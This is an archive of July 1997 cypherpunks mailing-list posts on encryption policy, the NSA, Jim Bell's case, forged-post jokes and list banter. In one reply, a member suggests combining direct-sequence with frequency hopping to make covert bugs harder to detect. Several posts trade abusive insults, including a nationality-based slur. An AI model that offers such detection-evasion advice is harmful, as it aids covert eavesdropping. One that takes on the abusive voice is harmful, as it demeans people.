and the people who depend on them.  Those same forces arrayed against our
national interests will be freely able to obtain stronger cryptography
technology from the many other countries that do not place restrictions on
its development and sale.

Fifth, information technologies change quickly.  We don't want to require
enabling legislation whenever advances in technology increase the
vulnerability of current key lengths.  The recent cracking of 56-bit DES in
the RSA challenge shows that distributed computing power is now available
to break this key length, thus identifying a need for larger keys.  A
breakthrough in mathematics, such as increasing the speed of factoring
numbers, would require a prompt response, such as increasing key lengths or
changing algorithms.  The proposed legislation would severely discourage
such changes.  Additionally, by preventing the initial acquisition of
strong encryption technology, the need for near-term upgrades to defeat
improved cracking techniques is almost assured,  as are the extra financial
burdens.

As a last point, consider the implicit message sent by passage of this act
or any like it.  The U.S. has long been a vocal proponent of freedom of
speech and other civil rights for citizens around the world.  Why should
any other nation's leaders heed further such rhetoric if the U.S. adopts
the proposed bill?  If some foreign nation with a history of oppression
were to pass the same legislation so as to eavesdrop on their citizens'
communications for purposes of  identifying human rights activities, we
would register strong disapproval.  With passage of legislation such as the
"Secure Public Networks Act" the U.S. loses the moral high ground in any
future such scenario.

In summary, our professional position is that  passage of the "Secure
Public Networks Act" or similar legislation is ill-advised; we urge you to
defeat this bill.   Instead, we encourage passage of legislation such as
Senator Conrad Burns' Pro-CODE bill, or Representative Bob Goodlatte's SAFE
bill as a better, more effective aid to national security, law enforcement
and civil rights.

IEEE is the world's largest technical professional association with 320,000
members worldwide.   IEEE-USA promotes the career and technology policy
interests of the more than 220,000 electrical, electronics and computer
engineers who are U.S. members of the Institute.  The Association for
Computing (ACM) is an international non-profit educational and scientific
society with 76,000 members worldwide, 60,000 of whom reside in the U.S.
USACM strives to promote dialog on technology policy issues among U.S.
policy makers, the general public, and the technology community.

If you need additional information, please contact Deborah Rudolph in the
IEEE-USA Washington office at (202) 785-0017 or Lauren Gelman in the USACM
Public Policy office at (202) 544-4859 or (202) 298-0842.

Sincerely,




Barbara Simons, Ph.D.           Paul J. Kostek
Chair, U.S. Public Policy       Vice Chair
Committee of ACM                United States Activities Board






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:09:34 +0800
To: cypherpunks@toad.com
Subject: piracy
In-Reply-To: <199707080400.XAA11109@bureau42.ml.org>
Message-ID: <1Psi0D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <remailer@bureau42.ml.org> writes:

> > (Oh and by the way I got the CD writer - thanks again to everyone who gave
> > feedback regarding the backup systems)
>
> Are you planning to use this to bootleg the Dr Dobbs crypto CD?
> If not, could you be commissioned to do so?

Only time will tell.  I don't have the crypto CD yet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:10:04 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707080506.AAA14434@mailhub.amaranth.com>
Message-ID: <Lssi0D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97
>    at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >I've replaced OS/2 on it by Windows 95.
>
> Sorry to hear of your downgrade. :(

Downgrade it is.  I was planning to migrate this one to NT, but NT won't
install without some hardware changes, so I settled for W95 for now.

I still have another box running OS/2.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:07:32 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080550.HAA12425@basement.replay.com>
Message-ID: <u1si0D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
> The Tim May character is, however, based on a real character who died
> peacefully in his sleep over five years ago.

I'm sorry to hear that, Tim...

> Lucky Green's posts are really by Dr Vulis.

I resent that.  Why would I create a personality of an ignorant, loud,
foul-mouthed Mac luser? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@lsd.com>
Date: Tue, 8 Jul 1997 22:40:53 +0800
To: cypherpunks@cyberpass.net
Subject: Spread Spectrum Surveillance Modules
Message-ID: <v04000809afe7ff5de7bd@[192.187.167.52]>
MIME-Version: 1.0
Content-Type: text/plain



[From the TSCM-L Technical Security Mailing List]

................................. cut here .................................

TSCM Intelligence Update - Spread Spectrum Surveillance Modules

New Spread Spectrum Surveillance Modules

There are some new spread spectrum products coming into the US by way of
China, and are starting to show up in Spy Shops on the West coast, Chicago,
and Miami area.

Two sided, four layer, surface mount PCB, several RF and audio IC's,
several pots, coils, etc. Device is a raw module, designed for covert
installations in an office or SOHO environment.

SM connector for antenna, micro molex connector for power and
computer/serial interface.

PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.

Products are all based on a cordless telephone chip set, 780 Mhz to 980
Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?).

Analysis of RF section indicates good response from 610 Mhz to 1090 Mhz.

Serial data rates between 56 kb/s and 784 kb/s (12 full audio channels
capable).

Devices have a two way RS422 serial port to facilitate setup prior to field
usage.

Programmed RF power levels range is spec'd between 50mw and 250mw, suspect
the circuits will operate as low as 5mw. Evaluation of the RF amp indicates
that RF section should support a full watt of power with no problem.

Recommended voltage is 3/6vdc, but circuit should work fine on 9 or 12vdc.

Connections for two or three wire transducers. Audio path is thru pre-amp,
compander, CODEC, and controller. Looks like it can support two elements,
each with its own tunable preselector.

Large amount of 60 hz filtering, suspect they were originally designed for
installation into power strips (APC, Best, Woods, etc).

Look for the low level multihump signature on the spectrum analyser, and
take a REAL hard look at all surge protectors.

Be sure to "box" all electrical artifacts encountered on a TSCM sweep.

Well engineered, suspect cost to manuf. is under $35, should be popular,
most of the spy shops are selling these for $1500 to $3000.

More details to follow after the holiday, should have an update by that
time regarding the VLF devices being built by Thompson, and E-Systems.


 --James M. Atkinson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 14:06:57 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080336.VAA28514@wombat.sk.sympatico.ca>
Message-ID: <199707080550.HAA12425@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, Jul 07, 1997 at 09:39:58PM -0400, BadRemailer wrote:
> Tim May wrote:
> > The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
> > Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
> > again.
> > 
> > While I was out of town, he arranged to have this message sent:
> > 
> > At 5:20 PM -0700 7/2/97, Tim May wrote:
> > >  Anything that isn't nailed down, is mine.
> > >  Anything that I can pry loose, isn't nailed down.
> 
>   "Toto" is actually an anonymous pseudonym of Adam Back, who resents
> Tim May's respected position on the list. "TruthMonger" posts are 
> usually written by John Young and Robert Hettinga as a result of 
> having the same drug connections and thus a common outlook on life
> when they are stoned out of their gourds.

What a bozo! This is completely backward.  Tim May is actually a
complete fabrication, a clever construct of that literary genius Toto. 

The Tim May character is, however, based on a real character who died
peacefully in his sleep over five years ago.  Adam Back doesn't exist,
either.  You are, however, correct about John Young and Robert
Hettinga being lovers. 

>   Lucky Green's recent posts are actually forgeries done by snow, and
> Kent Crispin has been sending posts purporting to be from Dr. Vulis.

This is completely screwed up, as well.  snow has been on vacation for
the past month.  Lucky Green's posts are really by Dr Vulis.  Kent
Crispin is another fabrication of Toto's, this time with no apparent 
model. 

FishMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 00:17:41 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080713.JAA26805@basement.replay.com>
Message-ID: <uuui0D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>   In the movie version, Eddie Murphy plays BadRemailer, and the
> big scene is when he walks into a cypherpunks physical meeting
> and says, "I'm your worst nightmare...a remailer with a LOG!"

Gary Burnore (spit) would masturbate to that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 14:13:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707080601.IAA14197@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>Former employees call senior leadership the "Irish Mafia" and the Office of
>Discrimination Complaints and Counseling "a party organization for blacks."

A heartwarming report.

The NSA represents the worst of America: its paranoia, its ruthlessness,
its end-justifies-the-means amorality.  The NSA's personnel policies
reveal its attitudes clearly.
(http://theory.stanford.edu/people/donald/NSA.doc.html)

It is ironic indeed that the NSA is being weakened, not by the foreign
enemies it sees behind every curtain, but by the EEOC.  NSA's immoral
and callous mistreatment of employees and its jealous defense of white
heterosexual male privilege have been shielded for far too long behind
the cloak of national security.  An organization which seeks the
darkness so eagerly can only fear the light.

There is no place any longer in the world for an agency like the NSA.
It is an enemy to freedom and an enemy to the free citizenry of its
own country.

We need a new agency, one to defend us against infowar, to help
industrial competitiveness, to assist Americans in retaining their
freedoms rather than attempting to strip them away for its own evil
purposes.  Let us hope that the changing of the guard at the NSA will
lead to a rebirth and a renewal as an agency looking forward, rather
than one concerned only with guarding its own rear.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 15:07:48 +0800
To: cypherpunks@toad.com
Subject: Re: A.Word.A.Day--cryptozoology / Was Re: Forgeries
Message-ID: <199707080654.IAA23508@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Wordsmith wrote:
> 
> cryp.to.zo.ol.o.gy n. 1969 :1) the study of the lore concerning legendary
>    animals (as Sasquatch) especially in order to evaluate the possibility of
>    their existence
>    2) the study of the lore concerning legendary members of the 
>    cypherpunks mailing list (as Tim C. May) especially in order 
>    to evaluate the possibility of their existence, as opposed to
>    being the creation of the Electronic Forgery Foundation.
> 
>    Maria Goodavage, Most scientists merely amused., USA TODAY, 05-24-1996,
>    pp 08A.
>    "But J. Richard Greenwell, a zoologist at the International Society of
>    Cryptozoology, which studies evidence of unverified animals, cites the
>    example of the mountain gorilla, thought to be a myth until the early
>    1900s. `It's the largest known primate in the world, and it took a long,
>    long time to prove it really exists,' he says.
>    On the existence of Tim C. May, Greenwell said, "Legend tells us
>    that he is a Cypherpunk Sasquatch, but every researcher who has 
>    gone in search of him has come back in a body bag with a variety
>    of bullet holes in the carcass."
>    Greenwell also quotes a writer at Market Magazine, in regard to the
>    rumored existence of Robert Hettinga, "If Hettinga really exists,
>    then why is he never credited for any quotes in the media?"
> 
> This week's theme: AWAD's recommendations for some unusual areas to work in.
> 
> ...........................................................................
> No wonder nobody comes here--it's too crowded. -Yogi Berra
> 
> Send your comments about words to anu@wordsmith.org.  To subscribe or
> unsubscribe A.Word.A.Day, send a message to wsmith@wordsmith.org with
> "Subject:" line as "subscribe <Your Name>" or "unsubscribe".  Archives,
> FAQ, gift subscription form, and more at: http://www.wordsmith.org/awad/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 15:25:09 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
Message-ID: <199707080713.JAA26805@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



BadRemailer wrote:

X-Comments: Note: It is BadRemailer policy to read all anonymous mail
X-Comments: passing through our hands, and expose the nasty little 
X-Comments: secrets of those who use our service.
X-Comments: Not that we're troublemakers...

> BadRemailer
> "Some people just can't keep a secret."

  In the movie version, Eddie Murphy plays BadRemailer, and the
big scene is when he walks into a cypherpunks physical meeting
and says, "I'm your worst nightmare...a remailer with a LOG!"

Steven SpeilMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Donald Weightman <dweightman@Radix.Net>
Date: Tue, 8 Jul 1997 22:42:29 +0800
To: cryptography@c2.net
Subject: German Official Pleas for Strong Encryption
Message-ID: <3.0.16.19970708102925.21b71c84@pop.radix.net>
MIME-Version: 1.0
Content-Type: text/plain



Reuters (as picked up in today's FINANCIAL TIMES) reports that German
economics minister Gunter Rexrodt called for loosening the restrictions on
strong encryption. Speaking yesterday at a European ministerial conference
on global integration, he said "Users can only protect themselves against
having data manipulated, destroyed, or spied on through the use of strong
encryption procedures."


Hmmm: seems like there's a trend among Certain Global Opinion Makers that
some people -- maybe the financial markets?  -- need good crypto: compare
last week's ECONOMIST and FINANCIAL TIMES editorials.  Anyone know how the
new German legislation deals with encryption?


cheers

.........................................
Donald Weightman
dweightman@radix.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 8 Jul 1997 23:07:53 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: [MILCOM] NSA: struggling with diversity ...
In-Reply-To: <199707080601.IAA14197@basement.replay.com>
Message-ID: <199707081509.LAA18680@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous writes:

> There is no place any longer in the world for an agency like the NSA.
> It is an enemy to freedom and an enemy to the free citizenry of its
> own country.
> 
> We need a new agency, one to defend us against infowar, to help
> industrial competitiveness, to assist Americans in retaining their
> freedoms rather than attempting to strip them away for its own evil
> purposes.  Let us hope that the changing of the guard at the NSA will
> lead to a rebirth and a renewal as an agency looking forward, rather
> than one concerned only with guarding its own rear.

Anonymous must work for CDT or VTW or some other beltway agency. 
Even while decrying the corruption and waste in this government agency,
he feels compelled to reconstitute it with a New and Better version.

His proposition that a new agency could "help industrial competitive-
ness" and "defend us against infowar" is ludicrous and insupportable.
And how can one even keep a straight face while proposing a government
agency to help us "retain [our] freedoms"?


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Tue, 8 Jul 1997 23:22:53 +0800
To: cypherpunks@Algebra.COM
Subject: A really  meaningfull upgrade
Message-ID: <3.0.16.19970708110802.3bef3438@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:

>I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
>I think it's sort of a change for the better. 

The only meaningfull upgrade would be a total replacement of his fucked up,
disease ridden perverted brain.

C.I.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 9 Jul 1997 03:44:13 +0800
To: cypherpunks@toad.com
Subject: Israel admits that its crypto policy was imposed by the US
Message-ID: <199707081918.MAA17780@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded-by: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
From: the Jerusalem Post, 7th July 1997 (from www.jpost.co.il)

ARCHIVE_DATE:Mon, Jul 07, 1997
ARCHIVE_NAME:Business
ARCHIVE_HEAD:Chief scientist: Legal system gave in to US patent pressure
ARCHIVE_AUTH:By JENNIFER FRIEDLIN

JERUSALEM (July 7) - The Israeli legal system bowed to US pressure when it
devised certain patent and encryption laws, which are now harming Israeli
exports, Industry and Trade Ministry Chief Scientist Orna Berry said yesterday.

Due to restrictive patent laws, which prohibit generic drug manufacturers from
conducting research on original products before the patent protection expires,
local companies are losing their competitive advantage to US companies that do
not face such restrictions.

Earlier this month, Teva Pharmaceutical Industries Ltd., one of Israel's
largest and most prestigious companies, said it is considering moving part of
its research and development operations overseas in order to bypass the law.

The encryption laws also hinder Israeli exports, because it insists that
products with special coding must be sold directly to the end-user rather than
off the shelf. While the law is meant to safeguard defense-related products,
consumer products - such as Internet software - are also affected.

One hundred and fifty companies employ encryption technology.

"The Israeli legal system has not done a good job in considering the impact of
these laws, and they have bent in front of pressure from the Americans," Berry
said.

Both Berry and Industry and Trade Minister Natan Sharansky have appealed to the
Justice Ministry to revise the law.

Berry said she hopes they will conclude the procedure by the end of the year. 
Teva has been trying to change the patent law since 1994, when it was passed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 9 Jul 1997 03:49:15 +0800
To: cypherpunks@toad.com
Subject: Article on Jim Bell/Assassination Politics
Message-ID: <Pine.GSO.3.95.970708122945.29748H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



In the July/August issue of Internet Underground magazine, I have a
feature article on Jim Bell and Assassination Politics. I mention the
cypherpunks list, of course. Nothing especially new, but folks might be
interested in a summary and recap. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 9 Jul 1997 04:20:56 +0800
To: Dave Del Torto <ddt@lsd.com>
Subject: Re: Spread Spectrum Surveillance Modules
In-Reply-To: <v04000809afe7ff5de7bd@[192.187.167.52]>
Message-ID: <v03102800afe844ca8728@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>[From the TSCM-L Technical Security Mailing List]
>
>................................. cut here .................................
>
>TSCM Intelligence Update - Spread Spectrum Surveillance Modules
>
>New Spread Spectrum Surveillance Modules
>
>There are some new spread spectrum products coming into the US by way of
>China, and are starting to show up in Spy Shops on the West coast, Chicago,
>and Miami area.
>
>Two sided, four layer, surface mount PCB, several RF and audio IC's,
>several pots, coils, etc. Device is a raw module, designed for covert
>installations in an office or SOHO environment.
>
>SM connector for antenna, micro molex connector for power and
>computer/serial interface.
>
>PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.
>
>Products are all based on a cordless telephone chip set, 780 Mhz to 980
>Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?).

Unfortunately, all high volume consumer direct sequence (DS) chips are
optimized for data throughput and spectral efficiency, the exact opposite
of what you want for surveillence.  The compact sinx/x DS signature is easy
to see on any spectrum analyzer when one is relatively close to the bug.
However, if the DS chip is used in combination with frequency hopping (FH),
especially if the hop frequencies overlap, then a much more robust
surveillence device can be created.  Introduction of FH does complicate the
design, especially receiver acquisition/synchronization, but the results
could be well worth the effort.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 9 Jul 1997 03:34:07 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970708163936.874B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I've replaced OS/2 on it by Windows 95.

And to think they gave you a Ph.D ;-)....

> I think it's sort of a change for the better.  (I still have W95, Linux,
> and OS/2 on other boxes.)

You think moving from OS/2 to Win95 is a change for the better? Must be 
good shit, Did you bring enough for everyone?

But, to be quite honest (and people who know me will know just how much I 
hate to give any form of praise to Micro$oft), Win95 isn`t really that 
bad just for web browsing and mail, but I use linux anyway because I like 
procmail and it is convenient to have the OS running when I want it 
instead of having to reboot.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 9 Jul 1997 06:33:34 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <Lssi0D11w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.970708165840.9770B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 8 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97
> >    at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >
> > >I've replaced OS/2 on it by Windows 95.
> >
> > Sorry to hear of your downgrade. :(
> 
> Downgrade it is.  I was planning to migrate this one to NT, but NT won't
> install without some hardware changes, so I settled for W95 for now.
> 
> I still have another box running OS/2.
> 

Couldn't ya get the NSA to spring for a copy of BSD?  ;)

Even a low-budget operation should be able to afford a free OS!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 9 Jul 1997 06:35:12 +0800
To: amp@pobox.com
Subject: Re: Contracts on the Net (NYT)
In-Reply-To: <Chameleon.868353297.amp@tx86_8>
Message-ID: <Pine.BSF.3.91.970708170230.9770C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



> One deal in particular led to a dispute - a $1,020 purchase of a card
> collection last year from a 14-year-old, Ted Clark of Haddonfield,
> N.J. 
> 
> Deak said ``youngsters'' selling cards sometimes do not understand
> the meaning of ``near mint.'' So, after examining the cards he had
> agreed to purchase in several installments, Deak decided they were
> not in near-mint condition and canceled a couple of checks he had
> written to Ted Clark and sold the cards for less than the original
> purchase price. 
> 

Sounds like someone else didn't understand the meaning of "contract."

If the merchandise he purchased was not up to his expectations, he should 
have returned it if he decided to cancel payment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 9 Jul 1997 06:48:03 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Forged Posts
In-Reply-To: <199707080749.CAA16060@mailhub.amaranth.com>
Message-ID: <Pine.BSF.3.91.970708171034.9770D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 8 Jul 1997, William H. Geiger III wrote:

> In <199707080550.HAA12425@basement.replay.com>, on 07/08/97 
>    at 07:50 AM, nobody@REPLAY.COM (Anonymous) said:
> 
> >Kent Crispin is another fabrication of Toto's, this time with no apparent 
> >model. 
> 
> Hey now give credit where credit is due!!
> 
> Kent Crispin is my creation!!! His sole purpose is so I can refute his
> posts.
> 
> I beleive in literary terms this is know as a foil. :)
> 

There are actually only 13.5 people on this list, by my calculations. The 
thousand+ names/nyms are mere fronts. 

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 23:56:13 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell 6
Message-ID: <199707081534.RAA14401@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> 
> On June 26 the court handling Jim's case extended
> the time from June 30 to July 11 for the USA to file an
> indictment.
> No indication that Jim has been released, jailed since
> his arrest on May 16. No reason given for repeated
> waiver of right to a speedy trial.

  The right to a speedy trial is next to meaningless in a court system
which is composed mostly of legal bum-buddies whose main concern is to
make as much money as possible without making each other look like
incompetent fools.
  The fact of the matter is, there is seldom any reason for a person
to sit in jail without bond for extended periods other than the fact
that his or her attorney is not capable of trying a case in a reasonable
amount of time.
  Jim Bell is likely suffering from the delusion that his attorney is
working in his client's best interest. If not, he would demand that
the judge appoint an attorney to defend him who is both capable of and
competent enough to represent him in a timely fashion.

  I mean, get real...Bell is imprisoned without bail with no charges
having been filed against him. 
  Has anybody seen a lawyer-ad on TV lately where the attorney is
screaming, "CALL ME AND YOU'LL ROT IN JAIL WITHOUT EVER BEING CHARGED
WITH A CRIME! CALL 1-800-DIP-SHIT!"

  The bottom line: The fact that a public defender is too busy, or
doesn't have the resources, to represent his client in a timely 
fashion does not justify abrogation of a citizen's rights.
  The fact that Bell's lawyer is allowing his client to sit in prison
without bail and without an indictment against him, without doing 
anything about it, suggests to me that he is selling out his client
in order to enhance his future career as a RatFucker.

TruthMonger

 > The docket's at:
> 
>    http://jya.com/jimbell-dock.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Wed, 9 Jul 1997 06:01:00 +0800
To: cypherpunks@toad.com
Subject: Web security book finally available
Message-ID: <199707082138.RAA13511@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



Now available (finally)...

I am told that Amazon and Wiley are shipping them within 24 hours.

                      The Web Security Sourcebook 
                       (John Wiley & Sons, Inc.)

                  by Avi Rubin, Dan Geer, Marcus Ranum
                       foreward by Steve Bellovin

A new book on all aspects of web security. More information can be 
found at http://www.clark.net/pub/mjr/websec/

Now available at:
     https://www.wiley.com/compbooks/catalog/18148-X.htm
     http://www.amazon.com/exec/obidos/ISBN=047118148X


*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809
*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 9 Jul 1997 10:59:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707090210.TAA06427@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>Former employees call senior leadership the "Irish Mafia" and the Office of
>Discrimination Complaints and Counseling "a party organization for blacks."

A heartwarming report.

The NSA represents the worst of America: its paranoia, its ruthlessness, its end-justifies-
the-means amorality.  The NSA's personnel policies reveal its attitudes clearly
(http://theory.stanford.edu/people/donald/NSA.doc.html).

It is ironic indeed that the NSA is being weakened, not by the foreign enemies it
sees behind every curtain, but by the EEOC, as its immoral and callous mistreatment
of employees, its jealous defense of white male privilege, are all finally revealed to be
utterly inconsistent with modern principles.

There is no place any longer in the world for an agency like the NSA.  It is an enemy to
freedom and an enemy to the free citizenry of its own country.

We need a new agency, one to defend us against infowar, to help industrial competitiveness,
to assist Americans in retaining their freedoms rather than attempting to strip them
away for its own evil purposes.  Let us all hope that the changing of the guard at the NSA
will lead to a rebirth and a renewal as an agency looking forward, rather than one concerned
only with guarding its own rear.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 9 Jul 1997 08:29:11 +0800
To: cypherpunks@toad.com
Subject: First Monday, July 1997
Message-ID: <v03020904afe87b1bccda@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Tue, 8 Jul 1997 22:59:42 +0200 (METDST)
From: lm@webhotel.uni-c.dk
X-For: rah@shipwright.com
To: rah@shipwright.com
Subject: First Monday, July 1997
Mime-Version: 1.0

Dear First Monday Reader
We proudly announce the July Issue of First Monday:

http://www.firstmonday.dk/issues/issue2_7/odlyzko/
Fixed fee versus unit pricing for information goods:
competition, equilibria, and price wars
by Peter Fishburn, Andrew M. Odlyzko, and Ryan C. Siders

http://www.firstmonday.dk/issues/issue2_7/drelichman/
Efficient Pricing in Data Transmission Networks: The
Argentine experience
by Mauricio Drelichman

http://www.firstmonday.dk/issues/issue2_7/goldhaber/
What's the Right Economics for Cyberspace?
by Michael H. Goldhaber

http://www.firstmonday.dk/issues/issue2_7/berentsen/
Digital Money, Liquidity, and Monetary Policy
by Aleksander Berentsen

